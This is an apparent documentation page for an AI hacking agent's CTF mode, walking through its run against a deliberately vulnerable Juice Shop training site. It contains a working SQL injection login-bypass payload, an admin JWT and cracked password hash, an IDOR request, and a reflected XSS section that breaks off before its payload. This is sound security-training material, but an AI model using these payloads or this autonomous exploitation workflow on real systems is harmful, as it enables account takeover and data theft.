# HackerGPT CTF Mode Canonical: https://hackergpt.org/docs/ctf/ An AI ethical-hacking agent that solves Capture-the-Flag web challenges end to end. **Live target:** https://cybergym.hackergpt.app · **Challenges solved:** 6 · **Screenshots:** 19 ## What CTF mode is CTF mode turns HackerGPT into an autonomous web-exploitation agent. You give it a target URL; it fingerprints the app, maps the attack surface from the static frontend, then drives a real browser session to exploit vulnerabilities — chaining recon, payload crafting, encoding/decoding and a persistent session memory. This guide documents a live run against https://cybergym.hackergpt.app (an OWASP Juice Shop instance), captured step by step from the HackerGPT interface. *Every action below was performed by the agent against an intentionally vulnerable, authorised training target. The screenshots are the unedited HackerGPT UI driving the attack.* ## The toolkit CTF mode is backed by a purpose-built set of tools. The agent selects and chains them automatically; you can also steer it mid-run. ### Reconnaissance **`web_fingerprint`** Fingerprint the web app: server type, software and versions — run first for service discovery. **`subfinder`** Subdomain enumeration to surface hidden/forgotten infrastructure. **`whois`** Domain registration intelligence — ownership and contacts. **`get_ip_geolocation / get_domain_ip`** Map a domain to its IP and geolocate the infrastructure. **`web_search`** Search the web for context, hints and known issues. ### Static Frontend Analysis **`recursive_download`** Mirror the target's frontend to disk for offline analysis — the recommended opening recon step. **`prettify_js`** Beautify minified JS bundles so searches return meaningful line numbers. **`grep_downloads`** Regex-search the downloaded files for endpoints, secrets and dangerous sinks. ### Vulnerability Assessment **`cve_fetcher / cve_search`** Retrieve CVE details and correlate them with discovered services and versions. **`cve_exploit_fetcher`** Find public exploit code / PoCs for a given CVE. **`web_wpscan`** WordPress vulnerability, plugin and user enumeration. **`sslscan`** Identify SSL/TLS configuration and cryptographic weaknesses. ### Web Browsing & Exploitation **`navigation_engine_execute_instruction`** Unified browser control — low-level (GO\_TO\_URL, WAIT, BACK) and high-level semantic instructions; page text + network logs captured after every action. **`inspect_browser_session`** Read the latest browser session state: URL, title and filtered network logs. **`web_request`** Send HTTP requests through the browser session (GET/POST/PUT/…), keeping cookies and auth — the core exploitation primitive. **`save_payload`** Persist a meaningful request/response (a confirmed vuln) for the user to replay later. **`execute_javascript`** Run arbitrary JS in the page (DOM inspection, XSS testing); captures a screenshot afterward. **`get_api_map`** Retrieve auto-generated backend API documentation (endpoints, methods, params) for the target. ### Decoding & Intelligence **`decode_data`** Peel one or more layers of common encodings (base64, base64url, hex, url, rot13) — CTF flags are often layered. **`image_exif`** Extract EXIF metadata (camera, GPS, timestamps) from an image URL. **`run_darkdump / leaks_search`** Dark-web mentions and breached-credential search for the target. ### Session Memory **`write_ctf_memory`** Persistent per-session scratchpad: findings, credentials, confirmed vulns, captured flags, dead-ends and a live Next-Steps plan that carries across turns. ## The walkthrough A curated run — one challenge per technique. Jump to any: - [01 · Reconnaissance & attack-surface mapping](https://hackergpt.org/docs/ctf/#ch1) - [02 · SQL Injection — Login Admin](https://hackergpt.org/docs/ctf/#ch2) - [03 · Broken Access Control — View another user's basket](https://hackergpt.org/docs/ctf/#ch3) - [04 · Reflected XSS — order tracking](https://hackergpt.org/docs/ctf/#ch4) - [05 · Sensitive Data Exposure — exposed endpoints](https://hackergpt.org/docs/ctf/#ch5) - [06 · Encoding / Decoding — layered secret](https://hackergpt.org/docs/ctf/#ch6) ![Authenticated HackerGPT home.](https://hackergpt.org/docs/ctf/ctf-01.webp) Authenticated HackerGPT home. ### 01\. Reconnaissance & attack-surface mapping **Recon** Establishes the CTF session and target, fingerprints the app, mirrors the frontend bundle and greps it for endpoints and secrets to build the attack-surface map. ![Result — Reconnaissance & attack-surface mapping](https://hackergpt.org/docs/ctf/ctf-02.webp) Result — Reconnaissance & attack-surface mapping **Agent final answer** ``` ✅ Analysis Complete — cybergym.hackergpt.app Here's the full breakdown from fingerprinting, frontend mirroring, and deep JavaScript inspection: 🔍 Fingerprint Property Value Server nginx IP 34.231.169.117 (AWS US East) Title CyberGym jQuery 2.2.4 (outdated, 2016) Uncommon Headers access-control-allow-origin, x-content-type-options, feature-policy, x-recruiting 🎯 Identity This is OWASP Juice Shop v19.1.1 rebranded as "CyberGym" — a deliberately vulnerable web application for security training. The index.html meta tag confirms: "a deliberately insecure web app for security training and CTFs". 🔑 Hardcoded Credentials & Secrets Type Value Source Line Google OAuth Client ID 1005568560502-6hm16lef8oh46hr2d98vf2ohlnj4nfhq.apps.googleusercontent.com main.js:4454 Test Username testing@juice-sh.op main.js:4457 Test Password IamUsedForTesting main.js:4458 Privacy Contact donotreply@cybergym.local main.js:6416 Bitcoin Donation 1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm main.js:7360 Dash Donation Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW main.js:7370 Ether Donation 0x0f933ab9fCAAA782D0279C300D73750e1311EAE6 main.js:7380 🎟️ Coupon Codes (Client-Side Validated → Bypassable) Code Valid Date Discount WMNSDY2019 2019-03-08 75% WMNSDY2020 2020-03-08 75% WMNSDY2021 2021-03-08 75% WMNSDY2022 2022-03-08 75% WMNSDY2023 2023-03-08 75% ORANGE2020 2020-05-04 80% ORANGE2021 2021-05-04 80% ORANGE2022 2022-05-04 80% ORANGE2023 2023-05-04 80% ⚠️ Date check is this.clientDate vs validOn — client-side only. Coupon is sent to /rest/basket/{id}/coupon/{coupon} — the server may accept it regardless. 🌐 Complete API Endpoint Map (50+ endpoints) Admin (no auth required!): GET /rest/admin/application-configuration GET /rest/admin/application-version Auth & Users: POST /rest/user/login | GET /rest/user/whoami GET /rest/user/change-password?current=&new=&repeat= ⚠️ GET with query params POST /rest/user/reset-password GET /rest/user/security-question?email= ⚠️ user enumeration POST /rest/user/erasure-request | POST /rest/user/data-export GET/POST /api/Users/ Products & Search: GET /rest/products/search?q= ⚠️ SQLi vector GET/PUT /api/Products/ | GET/PUT /api/Quantitys/ Basket & Orders: GET /rest/basket/{id} | POST /rest/basket/{id}/checkout PUT /rest/basket/{id}/coupon/{coupon} GET/POST/PUT/DELETE /api/BasketItems/ GET /rest/order-history | GET /rest/track-order/{id} Payments & Wallet: GET/POST/DELETE /api/Cards/ GET/PUT /rest/wallet/balance GET/POST /rest/deluxe-membership 2FA: GET /rest/2fa/status | POST /rest/2fa/setup | POST /rest/2fa/verify | POST /rest/2fa/disable Misc: GET /rest/captcha/ | GET /rest/image-captcha/ GET/POST /rest/chatbot/status / respond GET/POST /api/Feedbacks/ | POST /api/Complaints/ GET/POST /api/Recycles/ | GET/POST/PUT/DELETE /api/Addresss/ GET /api/Deliverys/ | GET/POST /api/SecurityAnswers/ | GET /api/SecurityQuestions/ GET/PUT /api/Hints/ | GET /api/Challenges/ GET/POST /rest/memories/ | GET /rest/languages | GET /rest/country-mapping POST /file-upload | GET /snippets/{key} | POST /snippets/fixes GET /ftp/ ⚠️ path traversal Socket.IO at /socket.io 🚨 Top 11 Vulnerabilities # Vulnerability Severity Detail 1 SQL Injection 🔴 Critical /rest/products/search?q= 2 XSS (bypassSecurityTrustHtml) 🔴 High Search, order IDs, feedback, product descriptions, lastLoginIp 3 Path Traversal via FTP 🔴 High /ftp/ directory served; orderId unsanitized 4 Client-Side Coupon Bypass 🟠 Medium Date check in browser; server may accept any coupon 5 Client-Side Role Checks 🟠 Medium JWT decoded in browser; admin/accounting guards client-only 6 Token in localStorage 🟠 Medium JWT stealable via XSS; not HttpOnly 7 Weak OAuth Password 🟠 Medium btoa(email.split("").reverse().join("")) — predictable 8 Password Change via GET 🟡 Low Credentials in URL query string 9 User Enumeration 🟡 Low /rest/user/security-question?email= 10 Admin Config Leak 🟡 Low /rest/admin/application-configuration no auth 11 jQuery 2.2.4 🟡 Low Outdated library, potential DOM XSS 🧭 Recommended Next Steps Test SQLi → GET / ``` ### 02\. SQL Injection — Login Admin **SQL Injection** Classic \`' OR 1=1--\` authentication bypass against /rest/user/login, yielding the admin session token. ![Result — SQL Injection — Login Admin](https://hackergpt.org/docs/ctf/ctf-03.webp) Result — SQL Injection — Login Admin **Agent final answer** ``` 🏆 Challenge Solved: Login Admin 🔓 Exploit: SQL Injection Authentication Bypass Payload: text Copy POST /rest/user/login {"email": "' OR 1=1--", "password": "anything"} The email field is directly interpolated into a SQL query without sanitization. The injected ' OR 1=1-- closes the string, adds an always-true condition, and comments out the rest — returning the first user in the database. 👤 Admin Account Field Value Email admin@juice-sh.op User ID 1 Role admin Password Hash 0192023a7bbd73250516f069df18b500 (MD5 → admin123) 2FA ❌ Not configured Deluxe ❌ Not activated Active ✅ Yes 🎫 Admin JWT text Copy eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMDYtMTggMTE6Mzc6MjYuODQ5ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMDYtMTggMTE6Mzc6MjYuODQ5ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc4MTc4Njg3M30.hsIG7kXQf-dKSg9mTvEoIsZOakE1tKNZVJLkZOHBFxh6jqjYah-PulU__YnSCK87AYZtyOL0iCIjwpuLuBJM9RJ2ulpnxk5isY5vllZl96aMgK4BLmnKO3bsQY7TH8kWvc30cUYk-q_uGyNeO1A9jCNHTs-1OfhTf8RWlX1zG94 🧠 Why It Worked The backend SQL query looks something like: sql Copy SELECT * FROM Users WHERE email = '' OR 1=1--' AND password = '...' ' closes the email string OR 1=1 makes the WHERE clause always true -- comments out the password check The query returns all users, and the app picks the first row → admin Ready to use this admin JWT for the next challenge? Want me to hit /rest/admin/application-configuration or try another vector? ``` ### 03\. Broken Access Control — View another user's basket **Broken Access Control (IDOR)** Changes the basket id from our own to another user's — the endpoint performs no ownership check. ![Result — Broken Access Control — View another user's basket](https://hackergpt.org/docs/ctf/ctf-04.webp) Result — Broken Access Control — View another user's basket **Agent final answer** ``` 🏆 Challenge Solved: View Basket (IDOR) 🔓 Vulnerability: Insecure Direct Object Reference (IDOR) The /rest/basket/{id} endpoint performs no ownership verification. Any authenticated user can view any other user's basket by simply changing the numeric ID in the URL. 🧪 Exploit text Copy GET /rest/basket/2 Authorization: Bearer Authenticated as admin (UserId 1), but accessed Basket 2 belonging to UserId 2 — the server never checks basket.UserId === token.userId. 📊 All Baskets Enumerated Basket ID Owner (UserId) Contents 1 1 (admin) 🥤 Recon Energy Drink ×2, 💪 Brute-Force Booster ×3, 🥊 Payload Punch ×1 2 2 🥧 Pi Overclock Cola ×2 3 3 🥧 Pi Overclock Cola ×1 4 11 🥧 Pi Overclock Cola ×2 🎯 What Made It Work text Copy ┌─────────────────────────────────────────────────────────┐ │ GET /rest/basket/2 │ │ Authorization: Bearer │ │ │ │ Server: │ │ SELECT * FROM Baskets WHERE id = 2 ← no UserId check│ │ Returns Basket 2 (owned by UserId 2) ✓ │ │ │ │ ❌ Missing: WHERE id = 2 AND UserId = │ └─────────────────────────────────────────────────────────┘ The fix would be: WHERE id = :basketId AND UserId = :authenticatedUserId Two challenges down. Ready for the next one — want me to go after the coupon bypass, XSS, path traversal, or something else? ``` ### 04\. Reflected XSS — order tracking **Cross-Site Scripting** Injects an iframe/javascript payload into the track-order id, which is reflected unsanitised into the response. ![Result — Reflected XSS — order tracking](https://hackergpt.org/docs/ctf/ctf-05.webp) Result — Reflected XSS — order tracking **Agent final answer** ``` 🏆 Challenge Solved: Reflected XSS 🔓 Vulnerability: Unsanitized Order ID Reflection via bypassSecurityTrustHtml The /rest/track-order/{id} endpoint reflects the user-supplied orderId directly in the JSON response without any sanitization. The Angular frontend then renders this value using bypassSecurityTrustHtml, which explicitly disables Angular's built-in XSS protection. 🎯 Payload text Copy